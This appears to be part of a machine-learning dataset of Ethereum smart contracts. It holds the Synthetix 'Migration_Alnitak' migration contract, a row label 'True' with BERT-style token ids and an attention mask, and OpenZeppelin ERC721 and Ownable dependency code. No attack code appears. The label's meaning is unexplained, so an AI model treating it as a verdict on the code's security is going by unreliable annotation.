IFeePool(feePoolProxy).setRewardsToDistribute(remainder);
emit RewardsDistributed(amount);
return true;
}
/* ========== VIEWS ========== */
/**
* @notice Retrieve the length of the distributions array
*/
function distributionsLength() external view returns (uint) {
return distributions.length;
}
/* ========== Events ========== */
event RewardDistributionAdded(uint index, address destination, uint amount);
event RewardsDistributed(uint amount);
}
interface ISynthetixNamedContract {
// solhint-disable func-name-mixedcase
function CONTRACT_NAME() external view returns (bytes32);
}
// solhint-disable contract-name-camelcase
contract Migration_Alnitak is BaseMigration {
// https://etherscan.io/address/0xEb3107117FEAd7de89Cd14D463D340A2E6917769;
address public constant OWNER = 0xEb3107117FEAd7de89Cd14D463D340A2E6917769;
// https://etherscan.io/address/0x823bE81bbF96BEc0e25CA13170F5AaCb5B79ba83
AddressResolver public constant addressresolver_i = AddressResolver(0x823bE81bbF96BEc0e25CA13170F5AaCb5B79ba83);
// https://etherscan.io/address/0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F
ProxyERC20 public constant proxyerc20_i = ProxyERC20(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F);
// https://etherscan.io/address/0xC011A72400E58ecD99Ee497CF89E3775d4bd732F
Proxy public constant proxysynthetix_i = Proxy(0xC011A72400E58ecD99Ee497CF89E3775d4bd732F);
// https://etherscan.io/address/0x545973f28950f50fc6c7F52AAb4Ad214A27C0564
ExchangeState public constant exchangestate_i = ExchangeState(0x545973f28950f50fc6c7F52AAb4Ad214A27C0564);
// https://etherscan.io/address/0x1c86B3CDF2a60Ae3a574f7f71d44E2C50BDdB87E
SystemStatus public constant systemstatus_i = SystemStatus(0x1c86B3CDF2a60Ae3a574f7f71d44E2C50BDdB87E);
// https://etherscan.io/address/0x5b1b5fEa1b99D83aD479dF0C222F0492385381dD
LegacyTokenState public constant tokenstatesynthetix_i = LegacyTokenState(0x5b1b5fEa1b99D83aD479dF0C222F0492385381dD);
// https://etherscan.io/address/0xb671F2210B1F6621A2607EA63E6B2DC3e2464d1F
RewardEscrow public constant rewardescrow_i = RewardEscrow(0xb671F2210B1F6621A2607EA63E6B2DC3e2464d1F);
// https://etherscan.io/address/0x29C295B046a73Cde593f21f63091B072d407e3F2
RewardsDistribution public constant rewardsdistribution_i =
RewardsDistribution(0x29C295B046a73Cde593f21f63091B072d407e3F2);
constructor() public BaseMigration(OWNER) {}
function contractsRequiringOwnership() external pure returns (address[] memory contracts) {
contracts = new address[](8);
contracts[0] = address(addressresolver_i);
contracts[1] = address(proxyerc20_i);
contracts[2] = address(proxysynthetix_i);
contracts[3] = address(exchangestate_i);
contracts[4] = address(systemstatus_i);
contracts[5] = address(tokenstatesynthetix_i);
contracts[6] = address(rewardescrow_i);
contracts[7] = address(rewardsdistribution_i);
}
function migrate(address currentOwner) external onlyDeployer {
require(owner == currentOwner, "Only the assigned owner can be re-assigned when complete");
// NEW CONTRACTS DEPLOYED TO BE ADDED TO PROTOCOL
// https://etherscan.io/address/0x43AE8037179a5746D618DA077A38DdeEa9640cBa
address new_Synthetix_contract = 0x43AE8037179a5746D618DA077A38DdeEa9640cBa;
// https://etherscan.io/address/0x613c773c7a1D85D2F1DCC051B0573D33470762Eb
address new_Exchanger_contract = 0x613c773c7a1D85D2F1DCC051B0573D33470762Eb;
require(
ISynthetixNamedContract(new_Synthetix_contract).CONTRACT_NAME() == "Synthetix",
"Invalid contract supplied for Synthetix"
);
require(
ISynthetixNamedContract(new_Exchanger_contract).CONTRACT_NAME() == "Exchanger",
"Invalid contract supplied for Exchanger"
);
// ACCEPT OWNERSHIP for all contracts that require ownership to make changes
addressresolver_i.acceptOwnership();
proxyerc20_i.acceptOwnership();
proxysynthetix_i.acceptOwnership();
exchangestate_i.acceptOwnership();
systemstatus_i.acceptOwnership();
tokenstatesynthetix_i.acceptOwnership();
rewardescrow_i.acceptOwnership();
rewardsdistribution_i.acceptOwnership();
// MIGRATION
// Import all new contracts into the address resolver;
bytes32[] memory addressresolver_importAddresses_names_0_0 = new bytes32[](2);
addressresolver_importAddresses_names_0_0[0] = bytes32("Synthetix");
addressresolver_importAddresses_names_0_0[1] = bytes32("Exchanger");
address[] memory addressresolver_importAddresses_destinations_0_1 = new address[](2);
addressresolver_importAddresses_destinations_0_1[0] = address(new_Synthetix_contract);
addressresolver_importAddresses_destinations_0_1[1] = address(new_Exchanger_contract);
addressresolver_i.importAddresses(
addressresolver_importAddresses_names_0_0,
addressresolver_importAddresses_destinations_0_1
);
// Rebuild the resolver caches in all MixinResolver contracts - batch 1;
MixinResolver[] memory addressresolver_rebuildCaches_destinations_1_0 = new MixinResolver[](20);
addressresolver_rebuildCaches_destinations_1_0[0] = MixinResolver(0xDA4eF8520b1A57D7d63f1E249606D1A459698876);
addressresolver_rebuildCaches_destinations_1_0[1] = MixinResolver(0xAD95C918af576c82Df740878C3E983CBD175daB6);
addressresolver_rebuildCaches_destinations_1_0[2] = MixinResolver(0xcf9E60005C9aca983caf65d3669a24fDd0775fc0);
addressresolver_rebuildCaches_destinations_1_0[3] = MixinResolver(new_Exchanger_contract);
addressresolver_rebuildCaches_destinations_1_0[4] = MixinResolver(0xB774711F0BC1306ce892ef8C02D0476dCccB46B7);
addressresolver_rebuildCaches_destinations_1_0[5] = MixinResolver(0x62922670313bf6b41C580143d1f6C173C5C20019);
addressresolver_rebuildCaches_destinations_1_0[6] = MixinResolver(0xCd9D4988C0AE61887B075bA77f08cbFAd2b65068);
addressresolver_rebuildCaches_destinations_1_0[7] = MixinResolver(0xd69b189020EF614796578AfE4d10378c5e7e1138);
addressresolver_rebuildCaches_destinations_1_0[8] = MixinResolver(new_Synthetix_contract);
addressresolver_rebuildCaches_destinations_1_0[9] = MixinResolver(0x9bB05EF2cA7DBAafFC3da1939D1492e6b00F39b8);
addressresolver_rebuildCaches_destinations_1_0[10] = MixinResolver(0x4D8dBD193d89b7B506BE5dC9Db75B91dA00D6a1d);
addressresolver_rebuildCaches_destinations_1_0[11] = MixinResolver(0xC61b352fCc311Ae6B0301459A970150005e74b3E);
addressresolver_rebuildCaches_destinations_1_0[12] = MixinResolver(0x388fD1A8a7d36e03eFA1ab100a1c5159a3A3d427);
addressresolver_rebuildCaches_destinations_1_0[13] = MixinResolver(0x37B648a07476F4941D3D647f81118AFd55fa8a04);
addressresolver_rebuildCaches_destinations_1_0[14] = MixinResolver(0xEF285D339c91aDf1dD7DE0aEAa6250805FD68258);
addressresolver_rebuildCaches_destinations_1_0[15] = MixinResolver(0xcf9bB94b5d65589039607BA66e3DAC686d3eFf01);
addressresolver_rebuildCaches_destinations_1_0[16] = MixinResolver(0xCeC4e038371d32212C6Dcdf36Fdbcb6F8a34C6d8);
addressresolver_rebuildCaches_destinations_1_0[17] = MixinResolver(0x5eDf7dd83fE2889D264fa9D3b93d0a6e6A45D6C6);
addressresolver_rebuildCaches_destinations_1_0[18] = MixinResolver(0x9745606DA6e162866DAD7bF80f2AbF145EDD7571);
addressresolver_rebuildCaches_destinations_1_0[19] = MixinResolver(0x2962EA4E749e54b10CFA557770D597027BA67cB3);
addressresolver_i.rebuildCaches(addressresolver_rebuildCaches_destinations_1_0);
// Rebuild the resolver caches in all MixinResolver contracts - batch 2;
MixinResolver[] memory addressresolver_rebuildCaches_destinations_2_0 = new MixinResolver[](20);
addressresolver_rebuildCaches_destinations_2_0[0] = MixinResolver(0xDB91E4B3b6E19bF22E810C43273eae48C9037e74);
addressresolver_rebuildCaches_destinations_2_0[1] = MixinResolver(0xab4e760fEEe20C5c2509061b995e06b542D3112B);
addressresolver_rebuildCaches_destinations_2_0[2] = MixinResolver(0xda3c83750b1FA31Fda838136ef3f853b41cb7a5a);
addressresolver_rebuildCaches_destinations_2_0[3] = MixinResolver(0x47bD14817d7684082E04934878EE2Dd3576Ae19d);
addressresolver_rebuildCaches_destinations_2_0[4] = MixinResolver(0x6F927644d55E32318629198081923894FbFe5c07);
addressresolver_rebuildCaches_destinations_2_0[5] = MixinResolver(0xe3D5E1c1bA874C0fF3BA31b999967F24d5ca04e5);
addressresolver_rebuildCaches_destinations_2_0[6] = MixinResolver(0xA962208CDC8588F9238fae169d0F63306c353F4F);
addressresolver_rebuildCaches_destinations_2_0[7] = MixinResolver(0xcd980Fc5CcdAe62B18A52b83eC64200121A929db);
addressresolver_rebuildCaches_destinations_2_0[8] = MixinResolver(0xAf090d6E583C082f2011908cf95c2518BE7A53ac);
addressresolver_rebuildCaches_destinations_2_0[9] = MixinResolver(0x21ee4afBd6c151fD9A69c1389598170B1d45E0e3);
addressresolver_rebuildCaches_destinations_2_0[10] = MixinResolver(0xcb6Cb218D558ae7fF6415f95BDA6616FCFF669Cb);
addressresolver_rebuildCaches_destinations_2_0[11] = MixinResolver(0x7B29C9e188De18563B19d162374ce6836F31415a);
addressresolver_rebuildCaches_destinations_2_0[12] = MixinResolver(0xC22e51FA362654ea453B4018B616ef6f6ab3b779);
addressresolver_rebuildCaches_destinations_2_0[13] = MixinResolver(0xaB38249f4f56Ef868F6b5E01D9cFa26B952c1270);
addressresolver_rebuildCaches_destinations_2_0[14] = MixinResolver(0xAa1b12E3e5F70aBCcd1714F4260A74ca21e7B17b);
addressresolver_rebuildCaches_destinations_2_0[15] = MixinResolver(0x0F393ce493d8FB0b83915248a21a3104932ed97c);
addressresolver_rebuildCaches_destinations_2_0[16] = MixinResolver(0xfD0435A588BF5c5a6974BA19Fa627b772833d4eb);
addressresolver_rebuildCaches_destinations_2_0[17] = MixinResolver(0x4287dac1cC7434991119Eba7413189A66fFE65cF);
addressresolver_rebuildCaches_destinations_2_0[18] = MixinResolver(0x34c76BC146b759E58886e821D62548AC1e0BA7Bc);
addressresolver_rebuildCaches_destinations_2_0[19] = MixinResolver(0x0E8Fa2339314AB7E164818F26207897bBe29C3af);
addressresolver_i.rebuildCaches(addressresolver_rebuildCaches_destinations_2_0);
// Rebuild the resolver caches in all MixinResolver contracts - batch 3;
MixinResolver[] memory addressresolver_rebuildCaches_destinations_3_0 = new MixinResolver[](20);
addressresolver_rebuildCaches_destinations_3_0[0] = MixinResolver(0xe615Df79AC987193561f37E77465bEC2aEfe9aDb);
addressresolver_rebuildCaches_destinations_3_0[1] = MixinResolver(0x3E2dA260B4A85782A629320EB027A3B7c28eA9f1);
addressresolver_rebuildCaches_destinations_3_0[2] = MixinResolver(0xc02DD182Ce029E6d7f78F37492DFd39E4FEB1f8b);
addressresolver_rebuildCaches_destinations_3_0[3] = MixinResolver(0x0d1c4e5C07B071aa4E6A14A604D4F6478cAAC7B4);
addressresolver_rebuildCaches_destinations_3_0[4] = MixinResolver(0x13D0F5B8630520eA04f694F17A001fb95eaFD30E);
addressresolver_rebuildCaches_destinations_3_0[5] = MixinResolver(0x815CeF3b7773f35428B4353073B086ecB658f73C);
addressresolver_rebuildCaches_destinations_3_0[6] = MixinResolver(0xb0e0BA880775B7F2ba813b3800b3979d719F0379);
addressresolver_rebuildCaches_destinations_3_0[7] = MixinResolver(0x8e082925e78538955bC0e2F363FC5d1Ab3be739b);
addressresolver_rebuildCaches_destinations_3_0[8] = MixinResolver(0x399BA516a6d68d6Ad4D5f3999902D0DeAcaACDdd);
addressresolver_rebuildCaches_destinations_3_0[9] = MixinResolver(0x9530FA32a3059114AC20A5812870Da12D97d1174);
addressresolver_rebuildCaches_destinations_3_0[10] = MixinResolver(0x249612F641111022f2f48769f3Df5D85cb3E26a2);
addressresolver_rebuildCaches_destinations_3_0[11] = MixinResolver(0x04720DbBD4599aD26811545595d97fB813E84964);
addressresolver_rebuildCaches_destinations_3_0[12] = MixinResolver(0x2acfe6265D358d982cB1c3B521199973CD443C71);
addressresolver_rebuildCaches_destinations_3_0[13] = MixinResolver(0x46A7Af405093B27DA6DeF193C508Bd9240A255FA);
addressresolver_rebuildCaches_destinations_3_0[14] = MixinResolver(0x8350d1b2d6EF5289179fe49E5b0F208165B4e32e);
addressresolver_rebuildCaches_destinations_3_0[15] = MixinResolver(0x29DD4A59F4D339226867e77aF211724eaBb45c02);
addressresolver_rebuildCaches_destinations_3_0[16] = MixinResolver(0xf7B8dF8b16dA302d85603B8e7F95111a768458Cc);
addressresolver_rebuildCaches_destinations_3_0[17] = MixinResolver(0x0517A56da8A517e3b2D484Cc5F1Da4BDCfE68ec3);
addressresolver_rebuildCaches_destinations_3_0[18] = MixinResolver(0x099CfAd1640fc7EA686ab1D83F0A285Ba0470882);
addressresolver_rebuildCaches_destinations_3_0[19] = MixinResolver(0x19cC1f63e344D74A87D955E3F3E95B28DDDc61d8);
addressresolver_i.rebuildCaches(addressresolver_rebuildCaches_destinations_3_0);
// Rebuild the resolver caches in all MixinResolver contracts - batch 4;
MixinResolver[] memory addressresolver_rebuildCaches_destinations_4_0 = new MixinResolver[](19);
addressresolver_rebuildCaches_destinations_4_0[0] = MixinResolver(0x4D50A0e5f068ACdC80A1da2dd1f0Ad48845df2F8);
addressresolver_rebuildCaches_destinations_4_0[1] = MixinResolver(0xb73c665825dAa926D6ef09417FbE5654473c1b49);
addressresolver_rebuildCaches_destinations_4_0[2] = MixinResolver(0x806A599d60B2FdBda379D5890287D2fba1026cC0);
addressresolver_rebuildCaches_destinations_4_0[3] = MixinResolver(0xCea42504874586a718954746A564B72bc7eba3E3);
addressresolver_rebuildCaches_destinations_4_0[4] = MixinResolver(0x947d5656725fB9A8f9c826A91b6082b07E2745B7);
addressresolver_rebuildCaches_destinations_4_0[5] = MixinResolver(0x186E56A62E7caCE1308f1A1B0dbb27f33F80f16f);
addressresolver_rebuildCaches_destinations_4_0[6] = MixinResolver(0x931c5516EE121a177bD2B60e0122Da5B27630ABc);
addressresolver_rebuildCaches_destinations_4_0[7] = MixinResolver(0x6Dc6a64724399524184C2c44a526A2cff1BaA507);
addressresolver_rebuildCaches_destinations_4_0[8] = MixinResolver(0x87eb6e935e3C7E3E3A0E31a5658498bC87dE646E);
addressresolver_rebuildCaches_destinations_4_0[9] = MixinResolver(0x53869BDa4b8d85aEDCC9C6cAcf015AF9447Cade7);
addressresolver_rebuildCaches_destinations_4_0[10] = MixinResolver(0x1cB27Ac646afAE192dF9928A2808C0f7f586Af7d);
addressresolver_rebuildCaches_destinations_4_0[11] = MixinResolver(0x3dD7b893c25025CabFBd290A5E06BaFF3DE335b8);
addressresolver_rebuildCaches_destinations_4_0[12] = MixinResolver(0x1A4505543C92084bE57ED80113eaB7241171e7a8);
addressresolver_rebuildCaches_destinations_4_0[13] = MixinResolver(0xF6ce55E09De0F9F97210aAf6DB88Ed6b6792Ca1f);
addressresolver_rebuildCaches_destinations_4_0[14] = MixinResolver(0xacAAB69C2BA65A2DB415605F309007e18D4F5E8C);
addressresolver_rebuildCaches_destinations_4_0[15] = MixinResolver(0x9A5Ea0D8786B8d17a70410A905Aed1443fae5A38);
addressresolver_rebuildCaches_destinations_4_0[16] = MixinResolver(0x5c8344bcdC38F1aB5EB5C1d4a35DdEeA522B5DfA);
addressresolver_rebuildCaches_destinations_4_0[17] = MixinResolver(0xaa03aB31b55DceEeF845C8d17890CC61cD98eD04);
addressresolver_rebuildCaches_destinations_4_0[18] = MixinResolver(0x1F2c3a1046c32729862fcB038369696e3273a516);
addressresolver_i.rebuildCaches(addressresolver_rebuildCaches_destinations_4_0);
// Ensure the SNX proxy has the correct Synthetix target set;
proxyerc20_i.setTarget(Proxyable(new_Synthetix_contract));
// Ensure the legacy SNX proxy has the correct Synthetix target set;
proxysynthetix_i.setTarget(Proxyable(new_Synthetix_contract));
// Ensure the Exchanger contract can write to its State;
exchangestate_i.setAssociatedContract(new_Exchanger_contract);
// Ensure the Exchanger contract can suspend synths - see SIP-65;
systemstatus_i.updateAccessControl("Synth", new_Exchanger_contract, true, false);
// Ensure the Synthetix contract can write to its TokenState contract;
tokenstatesynthetix_i.setAssociatedContract(new_Synthetix_contract);
// Ensure the legacy RewardEscrow contract is connected to the Synthetix contract;
rewardescrow_i.setSynthetix(ISynthetix(new_Synthetix_contract));
// Ensure the RewardsDistribution has Synthetix set as its authority for distribution;
rewardsdistribution_i.setAuthority(new_Synthetix_contract);
// NOMINATE OWNERSHIP back to owner for aforementioned contracts
addressresolver_i.nominateNewOwner(owner);
proxyerc20_i.nominateNewOwner(owner);
proxysynthetix_i.nominateNewOwner(owner);
exchangestate_i.nominateNewOwner(owner);
systemstatus_i.nominateNewOwner(owner);
tokenstatesynthetix_i.nominateOwner(owner);
rewardescrow_i.nominateNewOwner(owner);
rewardsdistribution_i.nominateNewOwner(owner);
}
}
| True | [
101,
1013,
1008,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1035,
1035,
1013,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1013,
1035,
1013,
1013,
1035,
1035,
1035,
1013,
1013,
1035,
1006,
1035,
1007,
1035,
1035,
1035,
1035,
1035,
1032,
1032,
1013,
1013,
1013,
1013,
1013,
1035,
1032,
1013,
1035,
1035,
1013,
1013,
1035,
1032,
1013,
1011,
1035,
1007,
1013,
1035,
1035,
1013,
1013,
1013,
1032,
1032,
1013,
1013,
1035,
1035,
1035,
1013,
1032,
1035,
1010,
1013,
1013,
1035,
1013,
1013,
1035,
1013,
1032,
1035,
1035,
1013,
1013,
1035,
1013,
1013,
1035,
1013,
1032,
1035,
1035,
1013,
1032,
1035,
1035,
1013,
1013,
1035,
1013,
1013,
1035,
1032,
1035,
1032,
1013,
1035,
1035,
1035,
1013,
1008,
24203,
20624,
2595,
1024,
9230,
2015,
1013,
9230,
1035,
2632,
3490,
2696,
2243,
1012,
14017,
1008,
1008,
6745,
3120,
1006,
2089,
2022,
10947,
1007,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
24203,
20624,
9048,
2080,
1013,
24203,
20624,
2595,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
8311,
1013,
9230,
2015,
1013,
9230,
1035,
2632,
3490,
2696,
2243,
1012,
14017,
1008,
9986,
2015,
1024,
16770,
1024,
1013,
1013,
9986,
2015,
1012,
24203,
20624,
2595,
1012,
22834,
1013,
8311,
1013,
9230,
2015,
1013,
9230,
1035,
2632,
3490,
2696,
2243,
1008,
1008,
3206,
12530,
15266,
1024,
1008,
1011,
2918,
4328,
29397,
1008,
1011,
24264,
14141,
8303,
6072,
4747,
6299,
1008,
1011,
29464,
11890,
11387,
1008,
1011,
29464,
2595,
22305,
4355,
3686,
1008,
1011,
20868,
7974,
4232,
2229,
24375,
1008,
1011,
20868,
7974,
18117,
10521,
18886,
29446,
1008,
1011,
2003,
27268,
6633,
9153,
5809,
1008,
1011,
8027,
12384,
2098,
1008,
1011,
3079,
1008,
1011,
24540,
1008,
1011,
2110,
1008,
8860,
1024,
1008,
1011,
3647,
3207,
6895,
9067,
18900,
2232,
1008,
1011,
3647,
18900,
2232,
1008,
1008,
10210,
6105,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1008,
9385,
1006,
1039,
1007,
25682,
24203,
20624,
2595,
1008,
1008,
6656,
2003,
2182,
3762,
4379,
1010,
2489,
1997,
3715,
1010,
2000,
2151,
2711,
11381,
1037,
6100,
1008,
1997,
2023,
4007,
1998,
3378,
12653,
6764,
1006,
1996,
1000,
4007,
1000,
1007,
1010,
2000,
3066,
1008,
1999,
1996,
4007,
2302,
16840,
1010,
2164,
2302,
22718,
1996,
2916,
1008,
2000,
2224,
1010,
6100,
1010,
19933,
1010,
13590,
1010,
10172,
1010,
16062,
1010,
4942,
13231,
12325,
1010,
1998,
1013,
2030,
5271,
1008,
4809,
1997,
1996,
4007,
1010,
1998,
2000,
9146,
5381,
2000,
3183,
1996,
4007,
2003,
1008,
19851,
2000,
2079,
2061,
1010,
3395,
2000,
1996,
2206,
3785,
1024,
1008,
1008,
1996,
2682,
9385,
5060,
1998,
2023,
6656,
5060,
4618,
2022,
2443,
1999,
2035,
1008,
4809,
2030,
6937,
8810,
1997,
1996,
4007,
1012,
1008,
1008,
1996,
4007,
2003,
3024,
1000,
2004,
2003,
1000,
1010,
2302,
10943,
2100,
1997,
2151,
2785,
1010,
4671,
2030,
1008,
13339,
1010,
2164,
2021,
2025,
3132,
2000,
1996,
10943,
3111,
1997,
6432,
8010,
1010,
1008,
10516,
2005,
1037,
3327,
3800,
1998,
2512,
2378,
19699,
23496,
3672,
1012,
1999,
2053,
2724,
4618,
1996,
1008,
6048,
2030,
9385,
13304,
2022,
20090,
2005,
2151,
4366,
1010,
12394,
2030,
2060,
1008,
14000,
1010,
3251,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// Dependency file: @openzeppelin/contracts-ethereum-package/contracts/introspection/IERC165.sol
// pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Dependency file: @openzeppelin/contracts-ethereum-package/contracts/token/ERC721/IERC721.sol
// pragma solidity ^0.6.2;
// import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// Dependency file: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol
// pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// Dependency file: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
// pragma solidity ^0.6.0;
// import "@openzeppelin/contracts-ethereum-package/contracts/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// Dependency file: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol
// pragma solidity ^0.6.0;
// import "@openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol";
// import "@openzeppelin/contracts-ethereum-package/contracts/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
